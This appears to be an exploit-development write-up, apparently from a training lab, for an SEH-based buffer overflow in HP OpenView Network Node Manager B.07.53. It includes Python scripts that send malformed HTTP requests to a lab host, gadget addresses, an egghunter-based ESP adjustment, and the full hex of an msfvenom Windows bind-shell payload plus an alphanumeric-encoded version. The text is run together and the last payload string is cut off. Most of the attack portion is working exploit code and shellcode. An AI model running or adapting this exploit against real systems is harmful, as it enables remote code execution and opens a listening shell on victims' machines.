#!/usr/bin/env python3# author: greyshell# description: finding the right place for final shellcode, as POST parameterimportsocket# global constant variableHOST="172.16.116.198"PORT="7510"defmain():# max crash buff length = 3780total_len_buff=3780initial_buff="A"*3305# 1035FE34 48 DEC EAX# 1035FE35 48 DEC EAX# 1035FE36 77 04 JA SHORT 1035FE59# little endian format: "\x4c\x4c\x77\x04" ==> bad char friendlynseh="\x48\x48\x77\x04"# 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR:# False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP# OpenView\jre\jreActive\bin\client\jvm.dll)seh=(0x6d6e394a.to_bytes(4,'little')).decode('ISO-8859-1')buff_last="D"*(total_len_buff-len(initial_buff)-len(nseh)-len(seh))crash=initial_buff+nseh+seh+buff_last# generate msf pattern of 1500 bytes: !mona pattern_create 1500test_buff=("\x41\x61\x30\x41\x61\x31\x41\x61\x32\x41\x61\x33\x41\x61\x34\x41\x61\x35\x41\x61\x36\x41\x61\x37\x41\x61\x38""\x41\x61\x39\x41\x62\x30\x41\x62\x31\x41\x62\x32\x41\x62\x33\x41\x62\x34\x41\x62\x35\x41\x62\x36\x41\x62\x37""\x41\x62\x38\x41\x62\x39\x41\x63\x30\x41\x63\x31\x41\x63\x32\x41\x63\x33\x41\x63\x34\x41\x63\x35\x41\x63\x36""\x41\x63\x37\x41\x63\x38\x41\x63\x39\x41\x64\x30\x41\x64\x31\x41\x64\x32\x41\x64\x33\x41\x64\x34\x41\x64\x35""\x41\x64\x36\x41\x64\x37\x41\x64\x38\x41\x64\x39\x41\x65\x30\x41\x65\x31\x41\x65\x32\x41\x65\x33\x41\x65\x34""\x41\x65\x35\x41\x65\x36\x41\x65\x37\x41\x65\x38\x41\x65\x39\x41\x66\x30\x41\x66\x31\x41\x66\x32\x41\x66\x33""\x41\x66\x34\x41\x66\x35\x41\x66\x36\x41\x66\x37\x41\x66\x38\x41\x66\x39\x41\x67\x30\x41\x67\x31\x41\x67\x32""\x41\x67\x33\x41\x67\x34\x41\x67\x35\x41\x67\x36\x41\x67\x37\x41\x67\x38\x41\x67\x39\x41\x68\x30\x41\x68\x31""\x41\x68\x32\x41\x68\x33\x41\x68\x34\x41\x68\x35\x41\x68\x36\x41\x68\x37\x41\x68\x38\x41\x68\x39\x41\x69\x30""\x41\x69\x31\x41\x69\x32\x41\x69\x33\x41\x69\x34\x41\x69\x35\x41\x69\x36\x41\x69\x37\x41\x69\x38\x41\x69\x39""\x41\x6a\x30\x41\x6a\x31\x41\x6a\x32\x41\x6a\x33\x41\x6a\x34\x41\x6a\x35\x41\x6a\x36\x41\x6a\x37\x41\x6a\x38""\x41\x6a\x39\x41\x6b\x30\x41\x6b\x31\x41\x6b\x32\x41\x6b\x33\x41\x6b\x34\x41\x6b\x35\x41\x6b\x36\x41\x6b\x37""\x41\x6b\x38\x41\x6b\x39\x41\x6c\x30\x41\x6c\x31\x41\x6c\x32\x41\x6c\x33\x41\x6c\x34\x41\x6c\x35\x41\x6c\x36""\x41\x6c\x37\x41\x6c\x38\x41\x6c\x39\x41\x6d\x30\x41\x6d\x31\x41\x6d\x32\x41\x6d\x33\x41\x6d\x34\x41\x6d\x35""\x41\x6d\x36\x41\x6d\x37\x41\x6d\x38\x41\x6d\x39\x41\x6e\x30\x41\x6e\x31\x41\x6e\x32\x41\x6e\x33\x41\x6e\x34""\x41\x6e\x35\x41\x6e\x36\x41\x6e\x37\x41\x6e\x38\x41\x6e\x39\x41\x6f\x30\x41\x6f\x31\x41\x6f\x32\x41\x6f\x33""\x41\x6f\x34\x41\x6f\x35\x41\x6f\x36\x41\x6f\x37\x41\x6f\x38\x41\x6f\x39\x41\x70\x30\x41\x70\x31\x41\x70\x32""\x41\x70\x33\x41\x70\x34\x41\x70\x35\x41\x70\x36\x41\x70\x37\x41\x70\x38\x41\x70\x39\x41\x71\x30\x41\x71\x31""\x41\x71\x32\x41\x71\x33\x41\x71\x34\x41\x71\x35\x41\x71\x36\x41\x71\x37\x41\x71\x38\x41\x71\x39\x41\x72\x30""\x41\x72\x31\x41\x72\x32\x41\x72\x33\x41\x72\x34\x41\x72\x35\x41\x72\x36\x41\x72\x37\x41\x72\x38\x41\x72\x39""\x41\x73\x30\x41\x73\x31\x41\x73\x32\x41\x73\x33\x41\x73\x34\x41\x73\x35\x41\x73\x36\x41\x73\x37\x41\x73\x38""\x41\x73\x39\x41\x74\x30\x41\x74\x31\x41\x74\x32\x41\x74\x33\x41\x74\x34\x41\x74\x35\x41\x74\x36\x41\x74\x37""\x41\x74\x38\x41\x74\x39\x41\x75\x30\x41\x75\x31\x41\x75\x32\x41\x75\x33\x41\x75\x34\x41\x75\x35\x41\x75\x36""\x41\x75\x37\x41\x75\x38\x41\x75\x39\x41\x76\x30\x41\x76\x31\x41\x76\x32\x41\x76\x33\x41\x76\x34\x41\x76\x35""\x41\x76\x36\x41\x76\x37\x41\x76\x38\x41\x76\x39\x41\x77\x30\x41\x77\x31\x41\x77\x32\x41\x77\x33\x41\x77\x34""\x41\x77\x35\x41\x77\x36\x41\x77\x37\x41\x77\x38\x41\x77\x39\x41\x78\x30\x41\x78\x31\x41\x78\x32\x41\x78\x33""\x41\x78\x34\x41\x78\x35\x41\x78\x36\x41\x78\x37\x41\x78\x38\x41\x78\x39\x41\x79\x30\x41\x79\x31\x41\x79\x32""\x41\x79\x33\x41\x79\x34\x41\x79\x35\x41\x79\x36\x41\x79\x37\x41\x79\x38\x41\x79\x39\x41\x7a\x30\x41\x7a\x31""\x41\x7a\x32\x41\x7a\x33\x41\x7a\x34\x41\x7a\x35\x41\x7a\x36\x41\x7a\x37\x41\x7a\x38\x41\x7a\x39\x42\x61\x30""\x42\x61\x31\x42\x61\x32\x42\x61\x33\x42\x61\x34\x42\x61\x35\x42\x61\x36\x42\x61\x37\x42\x61\x38\x42\x61\x39""\x42\x62\x30\x42\x62\x31\x42\x62\x32\x42\x62\x33\x42\x62\x34\x42\x62\x35\x42\x62\x36\x42\x62\x37\x42\x62\x38""\x42\x62\x39\x42\x63\x30\x42\x63\x31\x42\x63\x32\x42\x63\x33\x42\x63\x34\x42\x63\x35\x42\x63\x36\x42\x63\x37""\x42\x63\x38\x42\x63\x39\x42\x64\x30\x42\x64\x31\x42\x64\x32\x42\x64\x33\x42\x64\x34\x42\x64\x35\x42\x64\x36""\x42\x64\x37\x42\x64\x38\x42\x64\x39\x42\x65\x30\x42\x65\x31\x42\x65\x32\x42\x65\x33\x42\x65\x34\x42\x65\x35""\x42\x65\x36\x42\x65\x37\x42\x65\x38\x42\x65\x39\x42\x66\x30\x42\x66\x31\x42\x66\x32\x42\x66\x33\x42\x66\x34""\x42\x66\x35\x42\x66\x36\x42\x66\x37\x42\x66\x38\x42\x66\x39\x42\x67\x30\x42\x67\x31\x42\x67\x32\x42\x67\x33""\x42\x67\x34\x42\x67\x35\x42\x67\x36\x42\x67\x37\x42\x67\x38\x42\x67\x39\x42\x68\x30\x42\x68\x31\x42\x68\x32""\x42\x68\x33\x42\x68\x34\x42\x68\x35\x42\x68\x36\x42\x68\x37\x42\x68\x38\x42\x68\x39\x42\x69\x30\x42\x69\x31""\x42\x69\x32\x42\x69\x33\x42\x69\x34\x42\x69\x35\x42\x69\x36\x42\x69\x37\x42\x69\x38\x42\x69\x39\x42\x6a\x30""\x42\x6a\x31\x42\x6a\x32\x42\x6a\x33\x42\x6a\x34\x42\x6a\x35\x42\x6a\x36\x42\x6a\x37\x42\x6a\x38\x42\x6a\x39""\x42\x6b\x30\x42\x6b\x31\x42\x6b\x32\x42\x6b\x33\x42\x6b\x34\x42\x6b\x35\x42\x6b\x36\x42\x6b\x37\x42\x6b\x38""\x42\x6b\x39\x42\x6c\x30\x42\x6c\x31\x42\x6c\x32\x42\x6c\x33\x42\x6c\x34\x42\x6c\x35\x42\x6c\x36\x42\x6c\x37""\x42\x6c\x38\x42\x6c\x39\x42\x6d\x30\x42\x6d\x31\x42\x6d\x32\x42\x6d\x33\x42\x6d\x34\x42\x6d\x35\x42\x6d\x36""\x42\x6d\x37\x42\x6d\x38\x42\x6d\x39\x42\x6e\x30\x42\x6e\x31\x42\x6e\x32\x42\x6e\x33\x42\x6e\x34\x42\x6e\x35""\x42\x6e\x36\x42\x6e\x37\x42\x6e\x38\x42\x6e\x39\x42\x6f\x30\x42\x6f\x31\x42\x6f\x32\x42\x6f\x33\x42\x6f\x34""\x42\x6f\x35\x42\x6f\x36\x42\x6f\x37\x42\x6f\x38\x42\x6f\x39\x42\x70\x30\x42\x70\x31\x42\x70\x32\x42\x70\x33""\x42\x70\x34\x42\x70\x35\x42\x70\x36\x42\x70\x37\x42\x70\x38\x42\x70\x39\x42\x71\x30\x42\x71\x31\x42\x71\x32""\x42\x71\x33\x42\x71\x34\x42\x71\x35\x42\x71\x36\x42\x71\x37\x42\x71\x38\x42\x71\x39\x42\x72\x30\x42\x72\x31""\x42\x72\x32\x42\x72\x33\x42\x72\x34\x42\x72\x35\x42\x72\x36\x42\x72\x37\x42\x72\x38\x42\x72\x39\x42\x73\x30""\x42\x73\x31\x42\x73\x32\x42\x73\x33\x42\x73\x34\x42\x73\x35\x42\x73\x36\x42\x73\x37\x42\x73\x38\x42\x73\x39""\x42\x74\x30\x42\x74\x31\x42\x74\x32\x42\x74\x33\x42\x74\x34\x42\x74\x35\x42\x74\x36\x42\x74\x37\x42\x74\x38""\x42\x74\x39\x42\x75\x30\x42\x75\x31\x42\x75\x32\x42\x75\x33\x42\x75\x34\x42\x75\x35\x42\x75\x36\x42\x75\x37""\x42\x75\x38\x42\x75\x39\x42\x76\x30\x42\x76\x31\x42\x76\x32\x42\x76\x33\x42\x76\x34\x42\x76\x35\x42\x76\x36""\x42\x76\x37\x42\x76\x38\x42\x76\x39\x42\x77\x30\x42\x77\x31\x42\x77\x32\x42\x77\x33\x42\x77\x34\x42\x77\x35""\x42\x77\x36\x42\x77\x37\x42\x77\x38\x42\x77\x39\x42\x78\x30\x42\x78\x31\x42\x78\x32\x42\x78\x33\x42\x78\x34""\x42\x78\x35\x42\x78\x36\x42\x78\x37\x42\x78\x38\x42\x78\x39")# preparing the GET requestbuffer="GET /topology/homeBaseView HTTP/1.1\r\n"buffer+="Host: "+crash+"\r\n"buffer+="Content-Type: application/x-www-form-urlencoded\r\n"buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"buffer+="Content-Length: 1048580\r\n\r\n"# place the test_buff as POST data but keeping the method GETbuffer+=test_buffprint(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")print(f"[+] buffer length: {len(crash)}")exploit=socket.socket(socket.AF_INET,socket.SOCK_STREAM)exploit.connect((HOST,int(PORT)))exploit.send(buffer.encode())exploit.close()if__name__=="__main__":main()
During the crash, !mona suggest finds the cyclic pattern at 0x04df6fd1.
But the original buffer is reduced into 139 bytes.
That length is too little to accommodate a reverse/bind shell payload. It seems application puts a limit on the length of HTTP POST data.
Due to this, we need to put the final shellcode/payload at the beginning of the input buffer in an encoded form and the same way we need to adjust ESP to generate the actual shellcode dynamically in stack memory.
Final Payload
Generate 328 bytesshell_bind_tcp payload using msfvenom.
123456
(venv) ╭─root@kali ~
╰─# msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4444 -f hex
No encoder or badchars specified, outputting raw payload
Payload size: 328 bytes
Final size of hex file: 656 bytes
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a085950e2fd4050405068ea0fdfe0ffd597680200115c89e66a10565768c2db3767ffd55768b7e938ffffd5576874ec3be1ffd5579768756e4d61ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5
While trying to encode that payload using mona.pyalphanum encoder, I encountered another challenge.
The Immunitytextbox has some length limitations. Due to this reason, we can’t put the entire command and execute it even if we can’t run mona.py outside the debugger context.
Use alpha_num_encoder.py to encode the hex formatted payload generated from msfvenom.
12345678910
alpha_num_encoder.py [-h] -p -b
encode a payload using alpha_num_encoder
optional arguments:
-h, --help show this help message and exit -p , --payload provide a text file containing payload in hex format
-b , --bad_characters
provide a text file containing all bad characters in
hex format
ESP Align By 4
As we know that ASLR is turned on, so we need to make sure and align the stack pointer / ESP always by 4 to run the shellcode reliably.
It means, for a 32 bit system, the address stored in the ESP should always be divisible by 4.
We can use the following logic to achieve this.
12345678910
# ESP alighment by 40: 83 ec 10 sub esp,0x10
3: 54 push esp
4: 58 pop eax
5: 31 d2 xor edx,edx
7: bb 04000000 mov ebx,0x4
c: f7 f3 div ebx
e: 29 d4 sub esp,edx
# hex bytes = 83EC10545831D2BB04000000F7F329D4
However, the hex bytes contain some bad characters.
To overcome this, prepend this logic/hex bytes just before the actual shellcode and use alpha_num_encoder.py to encode the entire string.
From the egghunter code, we can figure out that when the egghunter finds the egg marker, it loads up JUMP address into the EDI register.
So we can quickly get hold of the EIP by directly moving that EDI value to EAX.
12
# 04DD74D6 57 PUSH EDI => \x57 is good char# 04DD74D7 58 POP EAX => \x58 is good char
Now let’s find what value we can add with AX register.
1234567891011121314151617181920
# for exampleesp_setup_logic=7 ~ 10 bytes
encoded_logic(esp_adjust_by_4_logic + shell_bind_tcp payload)=2236 bytes
actual_esp_adjust_by_4_logic=16 bytes
actual_shell_reverse_tcp_payload=328bytes============================================total=2580 bytes
# we need to set the ESP to some value > 2580 but less than 3305# 2580 => in hex format 0xa14# \x0a is bad char so we need to find the next good char.# after \x09, \x0b is good char => so we can use the value 0x0b as the stating char.# for the last char, we can choose any value from the good char set. lets choose => 0x01# final logicPUSH EDI
POP EAX
ADD AX, 0xb01 # adding 2817PUSH EAX
POP ESP
#!/usr/bin/env python3# author: greyshell# description: shell_bind_tcp payload (port 4444)importsocket# global constant variableHOST="172.16.116.198"PORT="7510"defmain():# max crash buff length = 3780total_len_buff=3780initial_buff="A"*3305egg_marker="T00WT00W"# all chars are safe# PUSH EDI# POP EAX# ADD AX, 0xb01# PUSH EAX# POP ESP# string literal: "\x57\x58\x66\x05\x01\x0B\x50\x5C"esp_setup_shellcode="\x57\x58\x66\x05\x01\x0B\x50\x5C"# msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4444 -f hex# payload = esp_adjust_by_4_logic + shell_bind_tcp shellcode# python alpha_num_encoder.py -p payload.txt -b bad_chars.txtencoded_shellcode=("\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x38\x55\x63\x2d\x55\x38\x55\x63\x2d\x56\x3c""\x56\x63\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4f\x2e\x30\x31\x2d\x4f\x2e\x30\x31""\x2d\x4f\x31\x30\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2d\x53\x6c\x3d\x2d\x2d""\x53\x6c\x3d\x2d\x31\x54\x6c\x3d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x52\x2a\x56""\x5f\x2d\x52\x2a\x56\x5f\x2d\x52\x2b\x58\x60\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d""\x63\x3e\x53\x2b\x2d\x63\x3e\x53\x2b\x2d\x65\x46\x53\x2d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32""\x31\x2a\x2d\x23\x6b\x20\x55\x2d\x23\x6b\x20\x55\x2d\x25\x6c\x21\x56\x50\x25\x4a\x4d\x4e\x55""\x25\x35\x32\x31\x2a\x2d\x5f\x35\x32\x73\x2d\x5f\x35\x32\x73\x2d\x60\x37\x33\x73\x50\x25\x4a""\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x63\x6b\x71\x68\x2d\x63\x6b\x71\x68\x2d\x65\x6d\x72\x69""\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x28\x4b\x35\x55\x2d\x28\x4b\x35\x55\x2d\x29""\x4c\x35\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x44\x32\x52\x2d\x55\x44\x32""\x52\x2d\x57\x46\x33\x53\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x60\x39\x38\x3c\x2d""\x60\x39\x38\x3c\x2d\x60\x3e\x39\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x28\x55""\x63\x27\x2d\x28\x55\x63\x27\x2d\x2a\x56\x63\x27\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a""\x2d\x32\x2c\x66\x3e\x2d\x32\x2c\x66\x3e\x2d\x34\x2e\x67\x43\x50\x25\x4a\x4d\x4e\x55\x25\x35""\x32\x31\x2a\x2d\x37\x38\x38\x38\x2d\x37\x38\x38\x38\x2d\x3c\x39\x3c\x39\x50\x25\x4a\x4d\x4e""\x55\x25\x35\x32\x31\x2a\x2d\x37\x3c\x38\x3b\x2d\x37\x3c\x38\x3b\x2d\x3c\x41\x39\x3b\x50\x25""\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x39\x38\x38\x2d\x38\x39\x38\x38\x2d\x3c\x3d\x39""\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x68\x54\x3d\x2d\x50\x68\x54\x3d\x2d""\x50\x69\x56\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x26\x3d\x49\x2d\x55\x26""\x3d\x49\x2d\x55\x26\x41\x49\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x3d\x49\x41\x54""\x2d\x3d\x49\x41\x54\x2d\x42\x49\x41\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5f""\x55\x32\x68\x2d\x5f\x55\x32\x68\x2d\x60\x57\x34\x68\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31""\x2a\x2d\x32\x4f\x37\x38\x2d\x32\x4f\x37\x38\x2d\x32\x4f\x38\x39\x50\x25\x4a\x4d\x4e\x55\x25""\x35\x32\x31\x2a\x2d\x38\x38\x44\x58\x2d\x38\x38\x44\x58\x2d\x39\x38\x46\x59\x50\x25\x4a\x4d""\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x27\x5e\x37\x2d\x55\x27\x5e\x37\x2d\x56\x28\x60\x39\x50""\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x34\x30\x33\x2d\x32\x34\x30\x33\x2d\x34\x34""\x32\x35\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x3b\x34\x55\x63\x2d\x3b\x34\x55\x63""\x2d\x3d\x36\x56\x63\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x23\x32\x2e\x30\x2d\x23""\x32\x2e\x30\x2d\x23\x33\x2e\x31\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5f\x55\x63""\x37\x2d\x5f\x55\x63\x37\x2d\x61\x55\x63\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d""\x32\x2d\x5b\x41\x2d\x32\x2d\x5b\x41\x2d\x34\x31\x5d\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32""\x31\x2a\x2d\x55\x55\x63\x37\x2d\x55\x55\x63\x37\x2d\x57\x55\x63\x39\x50\x25\x4a\x4d\x4e\x55""\x25\x35\x32\x31\x2a\x2d\x32\x6d\x5c\x42\x2d\x32\x6d\x5c\x42\x2d\x34\x6e\x5d\x42\x50\x25\x4a""\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x33\x55\x63\x37\x2d\x33\x55\x63\x37\x2d\x33\x56\x63\x39""\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x69\x61\x42\x2d\x32\x69\x61\x42\x2d\x34""\x6b\x61\x43\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x4f\x38\x38\x2d\x32\x4f\x38""\x38\x2d\x32\x51\x39\x38\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4f\x36\x27\x5d\x2d""\x4f\x36\x27\x5d\x2d\x51\x37\x28\x5f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x23\x32""\x54\x55\x2d\x23\x32\x54\x55\x2d\x23\x33\x55\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a""\x2d\x60\x5f\x55\x63\x2d\x60\x5f\x55\x63\x2d\x61\x60\x55\x63\x50\x25\x4a\x4d\x4e\x55\x25\x35""\x32\x31\x2a\x2d\x39\x32\x5c\x4f\x2d\x39\x32\x5c\x4f\x2d\x3e\x33\x5d\x51\x50\x25\x4a\x4d\x4e""\x55\x25\x35\x32\x31\x2a\x2d\x56\x3e\x39\x3e\x2d\x56\x3e\x39\x3e\x2d\x57\x42\x3d\x43\x50\x25""\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x52\x37\x39\x5f\x2d\x52\x37\x39\x5f\x2d\x54\x38\x3d""\x5f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x55\x63\x31\x2d\x55\x55\x63\x31\x2d""\x56\x56\x63\x32\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x47\x2a\x31\x2d\x32\x47""\x2a\x31\x2d\x34\x48\x2b\x32\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x47\x69\x37\x39""\x2d\x47\x69\x37\x39\x2d\x49\x69\x3c\x3d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x25""\x54\x55\x55\x2d\x25\x54\x55\x55\x2d\x26\x56\x55\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31""\x2a\x2d\x53\x55\x63\x6c\x2d\x53\x55\x63\x6c\x2d\x53\x56\x63\x6e\x50\x25\x4a\x4d\x4e\x55\x25""\x35\x32\x31\x2a\x2d\x32\x3b\x2d\x48\x2d\x32\x3b\x2d\x48\x2d\x34\x3d\x2e\x49\x50\x25\x4a\x4d""\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2e\x44\x35\x39\x2d\x2e\x44\x35\x39\x2d\x31\x45\x36\x39\x50""\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x55\x32\x2d\x2d\x55\x55\x32\x2d\x2d\x56\x55""\x33\x2e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x36\x32\x44\x44\x2d\x36\x32\x44\x44""\x2d\x37\x33\x44\x45\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x4f\x5c\x25\x2d\x27""\x4f\x5c\x25\x2d\x27\x4f\x5c\x27\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x60\x35\x35""\x37\x2d\x60\x35\x35\x37\x2d\x60\x35\x36\x37\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d""\x37\x37\x39\x55\x2d\x37\x37\x39\x55\x2d\x39\x37\x3c\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32""\x31\x2a\x2d\x49\x36\x36\x34\x2d\x49\x36\x36\x34\x2d\x4a\x38\x38\x36\x50\x25\x4a\x4d\x4e\x55""\x25\x35\x32\x31\x2a\x2d\x65\x27\x3d\x49\x2d\x65\x27\x3d\x49\x2d\x66\x27\x41\x49\x50\x25\x4a""\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x53\x26\x54\x2d\x27\x53\x26\x54\x2d\x27\x55\x28\x56""\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x4b\x54\x64\x2d\x38\x4b\x54\x64\x2d\x38""\x4d\x56\x64\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x51\x3c\x26\x2d\x27\x51\x3c""\x26\x2d\x27\x51\x3c\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x49\x54\x64\x32\x2d""\x49\x54\x64\x32\x2d\x4a\x56\x64\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5e\x37""\x26\x37\x2d\x5e\x37\x26\x37\x2d\x60\x38\x28\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a""\x2d\x41\x2b\x49\x2e\x2d\x41\x2b\x49\x2e\x2d\x43\x2c\x49\x2e\x50\x25\x4a\x4d\x4e\x55\x25\x35""\x32\x31\x2a\x2d\x58\x53\x2b\x57\x2d\x58\x53\x2b\x57\x2d\x5a\x55\x2c\x59\x50\x25\x4a\x4d\x4e""\x55\x25\x35\x32\x31\x2a\x2d\x68\x42\x5f\x2c\x2d\x68\x42\x5f\x2c\x2d\x69\x42\x61\x31\x50\x25""\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x6a\x65\x50\x54\x2d\x6a\x65\x50\x54\x2d\x6b\x65\x51""\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x63\x44\x55\x70\x2d\x63\x44\x55\x70\x2d""\x64\x45\x56\x72\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x43\x26\x54\x2d\x27\x43""\x26\x54\x2d\x27\x45\x28\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4d\x5e\x41\x3c""\x2d\x4d\x5e\x41\x3c\x2d\x4e\x60\x42\x3e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55""\x64\x26\x3c\x2d\x55\x64\x26\x3c\x2d\x55\x64\x27\x3e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31""\x2a\x2d\x39\x26\x37\x4a\x2d\x39\x26\x37\x4a\x2d\x3d\x28\x38\x4b\x50\x25\x4a\x4d\x4e\x55\x25""\x35\x32\x31\x2a\x2d\x5f\x3c\x54\x64\x2d\x5f\x3c\x54\x64\x2d\x5f\x3e\x56\x66\x50\x25\x4a\x4d""\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x3b\x4f\x2d\x2d\x27\x3b\x4f\x2d\x2d\x27\x3d\x50\x2d\x50""\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x26\x3c\x41\x2d\x50\x26\x3c\x41\x2d\x50\x28""\x3d\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x38\x26\x39\x2d\x39\x38\x26\x39""\x2d\x3c\x38\x28\x3b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x68\x5e\x59\x2d\x55""\x68\x5e\x59\x2d\x55\x68\x60\x5a\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4a\x6a\x65""\x50\x2d\x4a\x6a\x65\x50\x2d\x4c\x6a\x65\x51\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d""\x35\x2b\x54\x46\x2d\x35\x2b\x54\x46\x2d\x35\x2d\x55\x47\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32""\x31\x2a\x2d\x45\x55\x70\x3e\x2d\x45\x55\x70\x3e\x2d\x45\x56\x72\x46\x50\x25\x4a\x4d\x4e\x55""\x25\x35\x32\x31\x2a\x2d\x50\x6d\x3c\x48\x2d\x50\x6d\x3c\x48\x2d\x51\x6e\x3c\x49\x50\x25\x4a""\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4e\x26\x2e\x47\x2d\x4e\x26\x2e\x47\x2d\x50\x28\x31\x49""\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x51\x26\x39\x2d\x39\x51\x26\x39\x2d\x3c""\x51\x28\x3b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x39\x45\x26\x2d\x27\x39\x45""\x26\x2d\x27\x3d\x45\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5e\x44\x6a\x33\x2d""\x5e\x44\x6a\x33\x2d\x5f\x45\x6b\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x55""\x35\x27\x2d\x55\x55\x35\x27\x2d\x56\x55\x35\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a""\x2d\x56\x5c\x29\x55\x2d\x56\x5c\x29\x55\x2d\x58\x5e\x2a\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35""\x32\x31\x2a\x2d\x58\x59\x47\x63\x2d\x58\x59\x47\x63\x2d\x59\x59\x47\x65\x50\x25\x4a\x4d\x4e""\x55\x25\x35\x32\x31\x2a\x2d\x54\x55\x55\x55\x2d\x54\x55\x55\x55\x2d\x54\x